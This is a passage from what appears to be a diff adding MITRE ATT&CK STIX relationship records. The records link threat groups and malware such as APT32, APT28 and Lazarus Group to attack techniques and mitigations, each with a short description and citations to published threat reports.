"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Unit42 Cannon Nov 2018", + "description": "Falcone, R., Lee, B. (2018, November 20). Sofacy Continues Global Attacks and Wheels Out New \u2018Cannon\u2019 Trojan. Retrieved November 26, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2018/11/unit42-sofacy-continues-global-attacks-wheels-new-cannon-trojan/" + }, + { + "description": "Lee, B., Falcone, R. (2018, December 12). Dear Joohn: The Sofacy Group\u2019s Global Campaign. Retrieved April 19, 2019.", + "source_name": "Unit42 Sofacy Dec 2018", + "url": "https://unit42.paloaltonetworks.com/dear-joohn-sofacy-groups-global-campaign/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0", + "description": "[NOKKI](https://attack.mitre.org/software/S0353) can gather information on the victim IP address.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-30T19:50:46.692Z", + "id": "relationship--e3347969-1cfd-43f3-b871-65874c4b2f95", + "source_ref": "malware--071d5d65-83ec-4a55-acfa-be7d5f28ba9a", + "modified": "2019-01-31T00:38:09.360Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Unit 42 NOKKI Sept 2018", + "description": "Grunzweig, J., Lee, B. (2018, September 27). New KONNI Malware attacking Eurasia and Southeast Asia. Retrieved November 5, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2018/09/unit42-new-konni-malware-attacking-eurasia-southeast-asia/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "malware--a2282af0-f9dd-4373-9b92-eaf9e11e0c71", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-31T00:25:28.215Z", + "id": "relationship--e18e5899-894b-4889-b008-77b44dbc0fce", + "source_ref": "intrusion-set--4a2ce82e-1a74-468a-a6fb-bbead541383c", + "modified": "2019-09-09T19:12:32.913Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Grunzweig, J. (2018, October 01). NOKKI Almost Ties the Knot with DOGCALL: Reaper Group Uses New Malware to Deploy RAT. Retrieved November 5, 2018.", + "source_name": "Unit 42 Nokki Oct 2018", + "url": "https://researchcenter.paloaltonetworks.com/2018/10/unit42-nokki-almost-ties-the-knot-with-dogcall-reaper-group-uses-new-malware-to-deploy-rat/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--e358d692-23c0-4a31-9eb6-ecc13a8d7735", + "description": "[APT32](https://attack.mitre.org/groups/G0050) used the net view command to show all shares available, including the administrative shares such as C$ and ADMIN$. [APT32](https://attack.mitre.org/groups/G0050) also used the ping command.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-31T01:07:58.596Z", + "id": "relationship--a6080757-7935-439b-b70f-72ba841cda03", + "source_ref": "intrusion-set--247cb30b-955f-42eb-97a5-a89fef69341e", + "modified": "2019-07-17T13:11:37.870Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Cybereason Cobalt Kitty 2017", + "description": "Dahan, A. (2017). Operation Cobalt Kitty. Retrieved December 27, 2018.", + "url": "https://cdn2.hubspot.net/hubfs/3354902/Cybereason%20Labs%20Analysis%20Operation%20Cobalt%20Kitty.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7d751199-05fa-4a72-920f-85df4506c76c", + "description": "[FIN4](https://attack.mitre.org/groups/G0085) has used Tor to log in to victims' email accounts.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-31T02:01:45.573Z", + "id": "relationship--50f68fb8-1e59-4b3a-b389-9c2797f4d347", + "source_ref": "intrusion-set--d0b3393b-3bec-4ba3-bda9-199d30db47b6", + "modified": "2019-04-18T20:19:49.250Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "FireEye Hacking FIN4 Dec 2014", + "description": "Vengerik, B. et al.. (2014, December 5). Hacking the Street? FIN4 Likely Playing the Market. Retrieved December 17, 2018.", + "url": "https://www.fireeye.com/current-threats/threat-intelligence-reports/rpt-fin4.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--01a5a209-b94c-450b-b7f9-946497d91055", + "description": "A [BlackEnergy](https://attack.mitre.org/software/S0089) 2 plug-in uses WMI to gather victim host details.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--0c0b4142-96e7-440b-a01f-f2bda05649b1", + "source_ref": "malware--54cc1d4f-5c53-4f0e-9ef5-11b4998e82e4", + "modified": "2019-06-24T17:08:51.686Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Baumgartner, K. and Garnaeva, M.. (2015, February 17). BE2 extraordinary plugins, Siemens targeting, dev fails. Retrieved March 24, 2016.", + "source_name": "Securelist BlackEnergy Feb 2015", + "url": "https://securelist.com/be2-extraordinary-plugins-siemens-targeting-dev-fails/68838/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.026Z", + "id": "relationship--e432b3bc-5539-40e5-bce2-3ba6f463b571", + "source_ref": "course-of-action--2ace01f8-67c8-43eb-b7b1-a7b9f1fe67e1", + "modified": "2019-08-12T19:52:39.696Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--128c55d3-aeba-469f-bd3e-c8996ab4112a", + "description": "[APT32](https://attack.mitre.org/groups/G0050) has used scheduled task raw XML with a backdated timestamp of June 2, 2016. The group has also set the creation time of the files dropped by the second stage of the exploit to match the creation time of kernel32.dll. Additionally, [APT32](https://attack.mitre.org/groups/G0050) has used a random value to modify the timestamp of the file storing the clientID.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--71a8ae5e-3a78-49b5-9857-e202d636cedf", + "source_ref": "intrusion-set--247cb30b-955f-42eb-97a5-a89fef69341e", + "modified": "2019-07-17T13:11:37.917Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "FireEye APT32 May 2017", + "description": "Carr, N.. (2017, May 14). Cyber Espionage is Alive and Well: APT32 and the Threat to Global Corporations. Retrieved June 18, 2017.", + "url": "https://www.fireeye.com/blog/threat-research/2017/05/cyber-espionage-apt32.html" + }, + { + "source_name": "ESET OceanLotus Mar 2019", + "description": "Dumont, R. (2019, March 20). Fake or Fake: Keeping up with OceanLotus decoys. Retrieved April 1, 2019.", + "url": "https://www.welivesecurity.com/2019/03/20/fake-or-fake-keeping-up-with-oceanlotus-decoys/" + }, + { + "description": "Dumont, R.. (2019, April 9). OceanLotus: macOS malware update. Retrieved April 15, 2019.", + "source_name": "ESET OceanLotus macOS April 2019", + "url": "https://www.welivesecurity.com/2019/04/09/oceanlotus-macos-malware-update/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--06780952-177c-4247-b978-79c357fb311f", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--352d3d80-3a5f-454b-8190-fbac20979fc7", + "source_ref": "course-of-action--2d704e56-e689-4011-b989-bf4e025a8727", + "modified": "2019-07-25T11:25:29.148Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "malware--73a4793a-ce55-4159-b2a6-208ef29b326f", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--4a851ebf-c021-4ab1-a02f-84b03d65fdda", + "source_ref": "intrusion-set--03506554-5f37-4f8f-9ce4-0e9f01a1b484", + "modified": "2019-03-22T20:15:19.511Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "O'Gorman, G., and McDonald, G.. (2012, September 6). The Elderwood Project. Retrieved February 15, 2018.", + "source_name": "Symantec Elderwood Sept 2012", + "url": "http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/the-elderwood-project.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--f6fe9070-7a65-49ea-ae72-76292f42cebe", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--16d9a6db-8bc5-4183-bb35-7cec5c8b88ff", + "source_ref": "course-of-action--51048ba0-a5aa-41e7-bf5d-993cd217dfb2", + "modified": "2019-07-25T11:45:01.563Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--355be19c-ffc9-46d5-8d50-d6a036c675b6", + "description": "[4H RAT](https://attack.mitre.org/software/S0065) uses HTTP for command and control.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--453914ae-8d76-4796-b507-dafc33adf005", + "source_ref": "malware--8e461ca3-0996-4e6e-a0df-e2a5bbc51ebc", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Crowdstrike Global Intelligence Team. (2014, June 9). CrowdStrike Intelligence Report: Putter Panda. Retrieved January 22, 2016.", + "source_name": "CrowdStrike Putter Panda", + "url": "http://cdn0.vox-cdn.com/assets/4589853/crowdstrike-intelligence-report-putter-panda.original.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "malware--92b55426-109f-4d93-899f-1833ce91ff90", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--43e9c37e-9e57-4130-8510-05c65bfde6f8", + "source_ref": "intrusion-set--7a19ecb1-3c65-4de3-a230-993516aed6a6", + "modified": "2019-07-14T21:04:45.654Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "ESET Turla Mosquito Jan 2018", + "description": "ESET, et al. (2018, January). Diplomats in Eastern Europe bitten by a Turla mosquito. Retrieved July 3, 2018.", + "url": "https://www.welivesecurity.com/wp-content/uploads/2018/01/ESET_Turla_Mosquito.pdf" + }, + { + "source_name": "ESET Turla Mosquito May 2018", + "description": "ESET Research. (2018, May 22). Turla Mosquito: A shift towards more generic tools. Retrieved July 3, 2018.", + "url": "https://www.welivesecurity.com/2018/05/22/turla-mosquito-shift-towards-generic-tools/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--62dfd1ca-52d5-483c-a84b-d6e80bf94b7b", + "description": "[Honeybee](https://attack.mitre.org/groups/G0072) has batch files that modify the system service COMSysApp to load a malicious DLL.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--0219e940-6761-448c-a5a9-1f3e453b5f8a", + "source_ref": "intrusion-set--ebb73863-fa44-4617-b4cb-b9ed3414eb87", + "modified": "2019-03-25T12:58:44.178Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "McAfee Honeybee", + "description": "Sherstobitoff, R. (2018, March 02). McAfee Uncovers Operation Honeybee, a Malicious Document Campaign Targeting Humanitarian Aid Groups. Retrieved May 16, 2018.", + "url": "https://securingtomorrow.mcafee.com/mcafee-labs/mcafee-uncovers-operation-honeybee-malicious-document-campaign-targeting-humanitarian-aid-groups/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--c21d5a77-d422-4a69-acd7-2c53c1faa34b", + "description": "[BUBBLEWRAP](https://attack.mitre.org/software/S0043) can communicate using SOCKS.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--b9b0e376-f249-432f-a0d3-dfa259b4757a", + "source_ref": "malware--123bd7b3-675c-4b1a-8482-c55782b20e2b", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "FireEye Threat Intelligence. (2015, December 1). China-based Cyber Threat Group Uses Dropbox for Malware Communications and Targets Hong Kong Media Outlets. Retrieved December 4, 2015.", + "source_name": "FireEye admin@338", + "url": "https://www.fireeye.com/blog/threat-research/2015/11/china-based-threat.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", + "description": "[APT32](https://attack.mitre.org/groups/G0050) uses the Invoke-Obfuscation framework to obfuscate their PowerShell and also performs other code obfuscation. [APT32](https://attack.mitre.org/groups/G0050) has also encoded payloads using Base64 and a framework called \"Dont-Kill-My-Cat (DKMC). [APT32](https://attack.mitre.org/groups/G0050) also encrypts the library used for network exfiltration with AES-256 in CBC mode in their macOS backdoor.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--db91e39d-daa4-4f9c-a7a6-be67eba712d2", + "source_ref": "intrusion-set--247cb30b-955f-42eb-97a5-a89fef69341e", + "modified": "2019-07-17T13:11:37.973Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "FireEye APT32 May 2017", + "description": "Carr, N.. (2017, May 14). Cyber Espionage is Alive and Well: APT32 and the Threat to Global Corporations. Retrieved June 18, 2017.", + "url": "https://www.fireeye.com/blog/threat-research/2017/05/cyber-espionage-apt32.html" + }, + { + "description": "Bohannon, D.. (2017, March 13). Invoke-Obfuscation - PowerShell Obfuscator. Retrieved June 18, 2017.", + "source_name": "GitHub Invoke-Obfuscation", + "url": "https://github.com/danielbohannon/Invoke-Obfuscation" + }, + { + "source_name": "ESET OceanLotus", + "description": "Folt\u00fdn, T. (2018, March 13). OceanLotus ships new backdoor using old tricks. Retrieved May 22, 2018.", + "url": "https://www.welivesecurity.com/2018/03/13/oceanlotus-ships-new-backdoor/" + }, + { + "source_name": "Cybereason Oceanlotus May 2017", + "description": "Dahan, A. (2017, May 24). OPERATION COBALT KITTY: A LARGE-SCALE APT IN ASIA CARRIED OUT BY THE OCEANLOTUS GROUP. Retrieved November 5, 2018.", + "url": "https://www.cybereason.com/blog/operation-cobalt-kitty-apt" + }, + { + "source_name": "Cybereason Cobalt Kitty 2017", + "description": "Dahan, A. (2017). Operation Cobalt Kitty. Retrieved December 27, 2018.", + "url": "https://cdn2.hubspot.net/hubfs/3354902/Cybereason%20Labs%20Analysis%20Operation%20Cobalt%20Kitty.pdf" + }, + { + "source_name": "ESET OceanLotus Mar 2019", + "description": "Dumont, R. (2019, March 20). Fake or Fake: Keeping up with OceanLotus decoys. Retrieved April 1, 2019.", + "url": "https://www.welivesecurity.com/2019/03/20/fake-or-fake-keeping-up-with-oceanlotus-decoys/" + }, + { + "description": "Dumont, R.. (2019, April 9). OceanLotus: macOS malware update. Retrieved April 15, 2019.", + "source_name": "ESET OceanLotus macOS April 2019", + "url": "https://www.welivesecurity.com/2019/04/09/oceanlotus-macos-malware-update/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5", + "description": "[Calisto](https://attack.mitre.org/software/S0274) can collect data from user directories.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--7e8293be-b9d6-4a27-8d49-216f17df3bd0", + "source_ref": "malware--b8fdef82-d2cf-4948-8949-6466357b1be1", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Kuzin, M., Zelensky S. (2018, July 20). Calisto Trojan for macOS. Retrieved September 7, 2018.", + "source_name": "Securelist Calisto July 2018", + "url": "https://securelist.com/calisto-trojan-for-macos/86543/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--6aac77c4-eaf2-4366-8c13-ce50ab951f38", + "description": "[APT29](https://attack.mitre.org/groups/G0016) has used spearphishing emails with an attachment to deliver files with exploits to initial victims.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--410f6714-cd02-4253-b324-a8ac15e70bca", + "source_ref": "intrusion-set--899ce53f-13a0-479b-a0e4-67d46e241542", + "modified": "2019-07-25T14:25:53.206Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "F-Secure The Dukes", + "description": "F-Secure Labs. (2015, September 17). The Dukes: 7 years of Russian cyberespionage. Retrieved December 10, 2015.", + "url": "https://www.f-secure.com/documents/996508/1030745/dukes_whitepaper.pdf" + }, + { + "description": "Dunwoody, M., et al. (2018, November 19). Not So Cozy: An Uncomfortable Examination of a Suspected APT29 Phishing Campaign. Retrieved November 27, 2018.", + "source_name": "FireEye APT29 Nov 2018", + "url": "https://www.fireeye.com/blog/threat-research/2018/11/not-so-cozy-an-uncomfortable-examination-of-a-suspected-apt29-phishing-campaign.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--355be19c-ffc9-46d5-8d50-d6a036c675b6", + "description": "[FLIPSIDE](https://attack.mitre.org/software/S0173) uses RDP to tunnel traffic from a victim environment.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-01-16T16:13:52.465Z", + "id": "relationship--e3b79cfa-6ea8-4e7a-85f8-9862702d466a", + "source_ref": "malware--0e18b800-906c-4e44-a143-b11c72b3448b", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Bromiley, M. and Lewis, P. (2016, October 7). Attacking the Hospitality and Gaming Industries: Tracking an Attacker Around the World in 7 Years. Retrieved October 6, 2017.", + "source_name": "Mandiant FIN5 GrrCON Oct 2016", + "url": "https://www.youtube.com/watch?v=fevGZs0EQu8" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--a127c32c-cbb0-4f9d-be07-881a792408ec", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-01-16T16:13:52.465Z", + "id": "relationship--2e3b8b06-5148-4313-8b1b-d75789838c84", + "source_ref": "course-of-action--d2dce10b-3562-4d61-b2f5-7c6384b038e2", + "modified": "2019-07-31T19:23:29.989Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--3257eb21-f9a7-4430-8de1-d8b6e288f529", + "description": "[APT28](https://attack.mitre.org/groups/G0007) deployed the open source tool Responder to conduct NetBIOS Name Service poisoning, which captured usernames and hashed passwords that allowed access to legitimate credentials.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-01-16T16:13:52.465Z", + "id": "relationship--cb69217e-f063-4093-bcf0-f051ecd42e25", + "source_ref": "intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c", + "modified": "2019-09-18T15:14:12.737Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "FireEye APT28", + "description": "FireEye. (2015). APT28: A WINDOW INTO RUSSIA\u2019S CYBER ESPIONAGE OPERATIONS?. Retrieved August 19, 2015.", + "url": "https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-apt28.pdf" + }, + { + "source_name": "FireEye APT28 Hospitality Aug 2017", + "description": "Smith, L. and Read, B.. (2017, August 11). APT28 Targets Hospitality Sector, Presents Threat to Travelers. Retrieved August 17, 2017.", + "url": "https://www.fireeye.com/blog/threat-research/2017/08/apt28-targets-hospitality-sector.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--15dbf668-795c-41e6-8219-f0447c0e64ce", + "description": "[APT3](https://attack.mitre.org/groups/G0022) has a tool that can enumerate the permissions associated with Windows groups.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-01-16T16:13:52.465Z", + "id": "relationship--e590aaaa-40fd-4f61-93f3-f2d6daee65a4", + "source_ref": "intrusion-set--0bbdf25b-30ff-4894-a1cd-49260d0dd2d9", + "modified": "2019-04-29T18:01:20.401Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Symantec Buckeye", + "description": "Symantec Security Response. (2016, September 6). Buckeye cyberespionage group shifts gaze from US to Hong Kong. Retrieved September 26, 2016.", + "url": "http://www.symantec.com/connect/blogs/buckeye-cyberespionage-group-shifts-gaze-us-hong-kong" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--92d7da27-2d91-488e-a00c-059dc162766d", + "description": "[Lazarus Group](https://attack.mitre.org/groups/G0032) malware IndiaIndia saves information gathered about the victim to a file that is uploaded to one of its 10 C2 servers. Another [Lazarus Group](https://attack.mitre.org/groups/G0032) malware sample also performs exfiltration over the C2 channel.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.068Z", + "id": "relationship--520f5440-740f-4efe-850e-ea4db340aef1", + "source_ref": "intrusion-set--c93fccb1-e8e8-42cf-ae33-2ad1d183913a", + "modified": "2019-09-09T19:15:44.911Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Novetta Blockbuster", + "description": "Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Unraveling the Long Thread of the Sony Attack. Retrieved February 25, 2016.", + "url": "https://www.operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Report.pdf" + }, + { + "source_name": "Novetta Blockbuster Loaders", + "description": "Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Loaders, Installers and Uninstallers Report. Retrieved March 2, 2016.", + "url": "https://operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Loaders-Installers-and-Uninstallers-Report.pdf" + }, + { + "source_name": "McAfee Lazarus Resurfaces Feb 2018", + "description": "Sherstobitoff, R. (2018, February 12). Lazarus Resurfaces, Targets Global Banks and Bitcoin Users. Retrieved February 19, 2018.", + "url": "https://securingtomorrow.mcafee.com/mcafee-labs/lazarus-resurfaces-targets-global-banks-bitcoin-users/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--3257eb21-f9a7-4430-8de1-d8b6e288f529", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.021Z", + "id": "relationship--c1600f3f-6c21-4c5b-82fe-a4514785f6bb", + "source_ref": "course-of-action--46b7ef91-4e1d-43c5-a2eb-00fa9444f6f4", + "modified": "2019-07-25T11:18:47.249Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7fd87010-3a00-4da3-b905-410525e8ec44", + "description": "[APT19](https://attack.mitre.org/groups/G0073) downloaded and launched code within a SCT file.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--4f2e62d0-5345-45dc-9e9d-46bb11c5f35d", + "source_ref": "intrusion-set--fe8796a4-2a02-41a0-9d27-7aa1e995feb6", + "modified": "2019-04-25T11:39:52.083Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "FireEye APT19", + "description": "Ahl, I. (2017, June 06). Privileges and Credentials: Phished at the Request of Counsel. Retrieved May 17, 2018.", + "url": "https://www.fireeye.com/blog/threat-research/2017/06/phished-at-the-request-of-counsel.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--92d7da27-2d91-488e-a00c-059dc162766d", + "description": "After data is collected by [Stealth Falcon](https://attack.mitre.org/groups/G0038) malware, it is exfiltrated over the existing C2 channel.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.074Z", + "id": "relationship--e1592867-e02f-4c1f-a9f2-1c60e25a1301", + "source_ref": "intrusion-set--894aab42-3371-47b1-8859-a4a074c804c8", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Marczak, B. and Scott-Railton, J.. (2016, May 29). Keep Calm and (Don\u2019t) Enable Macros: A New Threat Actor Targets UAE Dissidents. Retrieved June 8, 2016.", + "source_name": "Citizen Lab Stealth Falcon May 2016", + "url": "https://citizenlab.org/2016/05/stealth-falcon/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--57340c81-c025-4189-8fa0-fc7ede51bae4", + "description": "[Catchamas](https://attack.mitre.org/software/S0261) creates three Registry keys to establish persistence by adding a [New Service](https://attack.mitre.org/techniques/T1050).", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--0dd74596-509c-4669-9d29-e1fb501c9c70", + "source_ref": "malware--8d9e758b-735f-4cbc-ba7c-32cd15138b2a", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Balanza, M. (2018, April 02). Infostealer.Catchamas. Retrieved July 10, 2018.", + "source_name": "Symantec Catchamas April 2018", + "url": "https://www-west.symantec.com/content/symantec/english/en/security-center/writeup.html/2018-040209-1742-99" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--d3df754e-997b-4cf9-97d4-70feb3120847", + "description": "[Dark Caracal](https://attack.mitre.org/groups/G0070) spearphished victims via Facebook and Whatsapp.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--b4174e7a-3b60-4697-a006-84edb81622cd", + "source_ref": "intrusion-set--8a831aaa-f3e0-47a3-bed8-a9ced744dd12", + "modified": "2019-07-16T15:35:20.800Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Lookout Dark Caracal Jan 2018", + "description": "Blaich, A., et al. (2018, January 18). Dark Caracal: Cyber-espionage at a Global Scale. Retrieved April 11, 2018.", + "url": "https://info.lookout.com/rs/051-ESQ-475/images/Lookout_Dark-Caracal_srr_20180118_us_v.1.0.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "tool--242f3da3-4425-4d11-8f5c-b842886da966", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-01-16T16:13:52.465Z", + "id": "relationship--432f40d2-5309-4cc1-9544-2943233c3c2c", + "source_ref": "intrusion-set--85403903-15e0-4f9f-9be4-a259ecad4022", + "modified": "2019-04-24T19:41:25.887Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "DarkReading FireEye FIN5 Oct 2015", + "description": "Higgins, K. (2015, October 13). Prolific Cybercrime Gang Favors Legit Login Credentials. Retrieved October 4, 2017.", + "url": "https://www.darkreading.com/analytics/prolific-cybercrime-gang-favors-legit-login-credentials/d/d-id/1322645?" + }, + { + "source_name": "Mandiant FIN5 GrrCON Oct 2016", + "description": "Bromiley, M. and Lewis, P. (2016, October 7). Attacking the Hospitality and Gaming 